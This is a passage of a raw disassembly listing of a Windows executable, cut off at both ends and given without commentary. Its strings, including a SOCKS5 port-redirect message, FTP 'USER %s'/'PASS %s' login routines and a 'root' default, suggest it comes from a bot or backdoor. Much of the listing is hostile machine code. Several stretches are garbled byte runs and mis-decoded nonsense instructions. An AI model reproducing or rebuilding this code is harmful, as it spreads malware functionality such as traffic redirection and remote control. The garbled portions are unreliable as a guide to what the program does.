4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h db 41h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42D2B7: ; CODE XREF: ___:0042D18Dj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D3E7 push 9Dh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42D2FE mov ecx, eax call sub_401898 mov edi, eax jmp short loc_42D300 ; --------------------------------------------------------------------------- loc_42D2FE: ; CODE XREF: ___:0042D2F1j xor edi, edi loc_42D300: ; CODE XREF: ___:0042D2FCj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D3E7: ; CODE XREF: ___:0042D2CAj lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D510 push 0A2h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42D42E mov ecx, eax call sub_4018ED mov edi, eax jmp short loc_42D430 ; --------------------------------------------------------------------------- loc_42D42E: ; CODE XREF: ___:0042D421j xor edi, edi loc_42D430: ; CODE XREF: ___:0042D42Cj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_40150A test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42D4DE mov byte ptr [edi+9Dh], 1 jmp short loc_42D4E5 ; --------------------------------------------------------------------------- loc_42D4DE: ; CODE XREF: ___:0042D4D3j mov byte ptr [edi+9Dh], 0 loc_42D4E5: ; CODE XREF: ___:0042D4DCj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FDC mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42D510: ; CODE XREF: ___:0042D3FAj lea ecx, [ebp+8Eh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D5DD push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42D55A mov ecx, eax call sub_40218A mov edi, eax jmp short loc_42D55C ; --------------------------------------------------------------------------- loc_42D55A: ; CODE XREF: ___:0042D54Dj xor edi, edi loc_42D55C: ; CODE XREF: ___:0042D558j push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D5DD: ; CODE XREF: ___:0042D526j lea ecx, [ebp+0BCh] call sub_4014DD lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42D809 lea ecx, [esp+30h] call sub_40142E lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_40142E push offset asc_444600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017EE push eax lea ecx, [esp+34h] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017EE push eax lea ecx, [esp+1Ch] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014DD cmp eax, offset byte_448F30 jnz short loc_42D6BF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A9B loc_42D6BF: ; CODE XREF: ___:0042D6AFj lea ecx, [esp+18h] call sub_4014DD cmp eax, offset byte_448F30 jnz short loc_42D6DD push offset byte_448F30 lea ecx, [esp+1Ch] call sub_401A9B loc_42D6DD: ; CODE XREF: ___:0042D6CDj push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017EE push eax lea ecx, [esp+34h] call sub_4017EE push eax mov ecx, edi call sub_4017EE mov edi, dword_511B14 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401870 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401870 push offset asc_444600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016B8 mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017EE push eax call edi ; atoi add esp, 4 push eax call sub_401C2B add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42D809: ; CODE XREF: ___:0042D5FCj lea ecx, [ebp+0EAh] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42D826 mov [ebp+11Ch], al loc_42D826: ; CODE XREF: ___:0042D81Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA00: ; CODE XREF: ___:004021CBj push ecx mov edx, dword_449A4D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42DA21 inc ecx mov [eax+118h], ecx loc_42DA21: ; CODE XREF: ___:0042DA18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA80 proc near ; CODE XREF: sub_401E1Fj var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_438244 sub_42DA80 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 64E89051h dd 83778133h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42DAD0: ; CODE XREF: ___:00401D8Ej mov eax, [esp+4] test eax, eax jz short loc_42DAE3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42DAE3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42DAE3: ; CODE XREF: ___:0042DAD6j ; ___:0042DADDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DB00 proc near ; CODE XREF: sub_401A7Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 call near ptr 77C46125h nop mov ebp, eax push 3Ah push ebp nop call near ptr 77C47660h mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42DB74 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_43828C ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44741C68h, 8BE89000h, 83778092h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42DB74: ; CODE XREF: sub_42DB00+47j mov [esi], bl mov eax, dword_511A7C inc esi cmp dword ptr [eax], 1 jle short loc_42DB92 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42DBA2 ; --------------------------------------------------------------------------- loc_42DB92: ; CODE XREF: sub_42DB00+7Fj mov eax, dword_511B1C movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42DBA2: ; CODE XREF: sub_42DB00+90j cmp eax, ebx jz short loc_42DBBD push esi call near ptr 77C1BF18h nop add esp, 4 push eax call sub_43822C ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42DBD1 ; --------------------------------------------------------------------------- loc_42DBBD: ; CODE XREF: sub_42DB00+A4j push offset aTcp ; "tcp" push esi call sub_43828C sub_42DB00 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj push ebp call sub_4381EA sub_42DBD1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42DC1D push ebp call sub_4381DE ; --------------------------------------------------------------------------- dw 0C33Bh dd 0C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42DC1D: ; CODE XREF: ___:0042DBDEj push ebp mov ebp, dword_511AD0 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_438232 ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 447404h, 8091ADE8h, 0C4839077h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 4473F468h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h dd 71F46807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h dd 83F08B77h, 0F33B08C4h, 0EC681E75h, 90004473h, 809145E8h dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h dd 73EC6824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DE00 proc near ; CODE XREF: ___:0042E556p ; sub_42F2C0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE3A loc_42DE22: ; CODE XREF: sub_42DE00+8Ej ; sub_42DE00+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DE3A: ; CODE XREF: sub_42DE00+20j mov eax, dword_5103A8 mov ebx, dword_511A8C cmp eax, 1 jle short loc_42DE5E mov eax, dword_511A90 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42DE5E: ; CODE XREF: sub_42DE00+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42DEDE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx call near ptr 77C47A90h nop push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42DF40 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42DE22 mov ebp, dword_511AE0 loc_42DE96: ; CODE XREF: sub_42DE00+D7j cmp dword_5103A8, 1 jle short loc_42DEB4 mov edx, dword_511A90 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42DEDE push edi push 100h push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE96 jmp loc_42DE22 ; --------------------------------------------------------------------------- loc_42DEDE: ; CODE XREF: sub_42DE00+62j ; sub_42DE00+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42DE00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p ; sub_42DE00+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42DF70 cmp eax, 1 jz short loc_42DF70 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF70: ; CODE XREF: sub_42DF40+1Ej ; sub_42DF40+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42DF82 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF82: ; CODE XREF: sub_42DF40+36j ; sub_42DF40+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42DFD3 cmp ebx, edi jge short loc_42DF90 lea edi, [ebx-1] loc_42DF90: ; CODE XREF: sub_42DF40+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42DFA9 mov edi, eax sub edi, ebp loc_42DFA9: ; CODE XREF: sub_42DF40+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42E05A loc_42DFD3: ; CODE XREF: sub_42DF40+47j cmp ebx, 1 jz loc_42E0AD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42DFFB mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42DFFB: ; CODE XREF: sub_42DF40+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42E0C0 push esi call sub_42E170 add esp, 4 test eax, eax jz loc_42E0F2 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42E0DC test eax, eax jnz short loc_42E03F mov [esp+18h+var_4], 1 loc_42E03F: ; CODE XREF: sub_42DF40+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42DF82 ; --------------------------------------------------------------------------- loc_42E05A: ; CODE XREF: sub_42DF40+8Dj sub ebp, 2 mov esi, offset asc_4471E4 ; "\r\n" mov eax, ebp loc_42E064: ; CODE XREF: sub_42DF40+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42E08C test cl, cl jz short loc_42E088 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42E08C add eax, 2 add esi, 2 test cl, cl jnz short loc_42E064 loc_42E088: ; CODE XREF: sub_42DF40+130j xor eax, eax jmp short loc_42E091 ; --------------------------------------------------------------------------- loc_42E08C: ; CODE XREF: sub_42DF40+12Cj ; sub_42DF40+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42E091: ; CODE XREF: sub_42DF40+14Aj test eax, eax jnz short loc_42E0F2 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0AD: ; CODE XREF: sub_42DF40+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0C0: ; CODE XREF: sub_42DF40+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42E0F2 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0DC: ; CODE XREF: sub_42DF40+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42E0F2: ; CODE XREF: sub_42DF40+D2j ; sub_42DF40+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42DF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p ; sub_42EF60:loc_42EF8Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42E253 mov ecx, [esi+30h] test ecx, ecx jz loc_42E253 cmp eax, 2 jnz short loc_42E1A5 lea ebp, [esp+118h+var_104] jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E1A5: ; CODE XREF: sub_42E170+2Dj lea ebx, [esp+118h+var_104] loc_42E1A9: ; CODE XREF: sub_42E170+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42E1B0: ; CODE XREF: sub_42E170+98j cmp eax, 40h jnb short loc_42E1C5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42E1C5: ; CODE XREF: sub_42E170+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_438208 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42E20A test eax, eax jg short loc_42E241 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42E246 mov eax, [esp+11Ch+var_104] jmp short loc_42E1B0 ; --------------------------------------------------------------------------- loc_42E20A: ; CODE XREF: sub_42E170+79j push 100h xor edi, edi call near ptr 77C1F2BCh nop mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E241: ; CODE XREF: sub_42E170+7Dj mov edi, 1 loc_42E246: ; CODE XREF: sub_42E170+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E253: ; CODE XREF: sub_42E170+19j ; sub_42E170+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42E170 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2B0: ; CODE XREF: ___:0040141Aj mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42E35F ; default jmp off_42E364[eax*4] ; switch jump loc_42E2C7: ; DATA XREF: ___:off_42E364o mov eax, [esp+8] ; jumptable 0042E2C0 case 0 cmp eax, 1 jz short loc_42E2D9 cmp eax, 2 jnz loc_42E35F ; default loc_42E2D9: ; CODE XREF: ___:0042E2CEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2E8: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2FB: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o push esi ; jumptable 0042E2C0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E33C: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E34F: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42E35F: ; CODE XREF: ___:0042E2BAj ; ___:0042E2D3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r dd offset loc_42E2E8 ; jump table for switch statement dd offset loc_42E2FB dd offset loc_42E33C dd offset loc_42E34F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E3C0 proc near ; CODE XREF: sub_402266j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov edi, dword_511A6C push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42E42D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42E490 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E451: ; CODE XREF: sub_42E3C0+1Bj ; sub_42E3C0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42E3C0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p ; sub_42E3C0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42E4B3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4B3: ; CODE XREF: sub_42E490+15j mov eax, dword_5103A8 mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42E4DC mov eax, dword_511A90 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42E4DC: ; CODE XREF: sub_42E490+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42E4FC pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4FC: ; CODE XREF: sub_42E490+60j push esi lea ecx, [esp+110h+var_100] push offset aS_3 ; "%s\r\n" push ecx call near ptr 77C3F931h nop lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_4381F6 sub_42E490 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h jo short near ptr byte_42E5AA inc esp add al, ch mov ch, 88h xor byte ptr [edi-70h], 83h les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42DE00 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 3Ah dup(0CCh) byte_42E5AA db 6 dup(0CCh) ; CODE XREF: ___:0042E534j ; =============== S U B R O U T I N E ======================================= sub_42E5B0 proc near ; CODE XREF: sub_401F73j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = 